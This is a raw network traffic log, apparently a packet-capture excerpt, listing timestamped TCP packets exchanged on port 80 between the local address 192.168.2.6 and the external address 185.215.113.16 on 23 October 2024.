Oct 23, 2024 17:51:41.057631016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057651997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057660103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057907104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057941914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057951927 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.057974100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.057986021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058011055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058017969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058044910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058058023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058079958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058089018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058114052 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058155060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058156013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058190107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058226109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058238983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058254957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058269024 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058288097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058300972 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058320999 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058322906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058357954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058391094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058403969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058423996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058461905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058479071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058495045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058504105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058530092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058562994 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058573961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058598042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058630943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058641911 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058665037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058697939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058707952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058732033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058743000 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058759928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058762074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058796883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058809042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058835030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058870077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058880091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058904886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058939934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058949947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.058974028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.058984041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059006929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059041023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059047937 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059076071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059087992 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059113026 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059122086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059145927 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059158087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059182882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059185028 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059216022 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059250116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059262991 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059284925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059334040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059341908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059376001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059390068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059416056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059449911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059461117 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059484005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059518099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059531927 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059551954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059560061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059586048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059619904 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059628963 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059657097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059689045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059705973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059719086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059732914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059753895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059765100 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059789896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059797049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059824944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059834957 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059860945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059863091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059895039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059905052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059928894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059936047 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.059966087 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.059973001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060000896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060012102 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060034990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060045004 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060070038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060072899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060102940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060112953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060137033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060143948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060170889 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060179949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060204029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060209036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060235977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060245037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060271025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060281038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060303926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060318947 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060338020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060373068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060401917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060408115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060410023 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060441017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060447931 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060475111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060488939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060508013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060519934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060544014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060551882 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060581923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060585022 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060615063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060623884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060647964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060653925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060683012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060692072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060717106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060729980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060751915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060760021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060786009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060796976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060822010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060832977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060861111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060862064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060894012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060928106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060940027 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060961962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060971022 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.060995102 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.060998917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061029911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061059952 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061064959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061069965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061099052 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061109066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061132908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061142921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061167955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061172962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061201096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061209917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061234951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061242104 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061269999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061276913 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061305046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061316013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061342001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061347961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061376095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061384916 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061399937 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061414957 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061420918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061431885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061434984 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061448097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061455965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061465025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061469078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061480999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061495066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061496973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061506033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061512947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061521053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061531067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061537981 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061547041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061553955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061562061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061570883 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061578035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061589003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061595917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061605930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061611891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061620951 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061626911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061644077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061645031 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061655998 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061660051 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061675072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061675072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061686039 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061691046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061705112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061707020 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061722040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061722994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061738968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061743021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061755896 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061758995 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061773062 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061784029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061789989 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061804056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061815023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061820984 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061826944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061836958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061849117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061851025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061861992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061872005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061872959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061883926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061892033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061897993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061911106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061912060 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061922073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061933994 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061938047 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061944962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061956882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061966896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061968088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061979055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.061986923 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.061990023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062001944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062002897 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062014103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062025070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062025070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062036037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062041044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062047958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062060118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062072039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062073946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062083006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062093019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062097073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062108994 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062119961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062122107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062133074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062144041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062146902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062155008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062166929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062177896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062179089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062185049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062199116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062203884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062211037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062213898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062222958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062232018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062236071 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062247992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062259912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062263012 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062272072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062283993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062293053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062295914 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062304974 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062309027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062320948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062324047 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062333107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062345028 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062376976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062391043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062403917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062412977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062424898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062437057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062441111 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062448978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062458038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062463999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062475920 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062477112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062489986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062503099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062510967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062514067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062525034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062536955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062537909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062549114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062558889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062561035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062570095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062572956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062585115 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062594891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062597036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062607050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062618971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062627077 CEST	49868	80	192.168.2.6	185.215.113.16
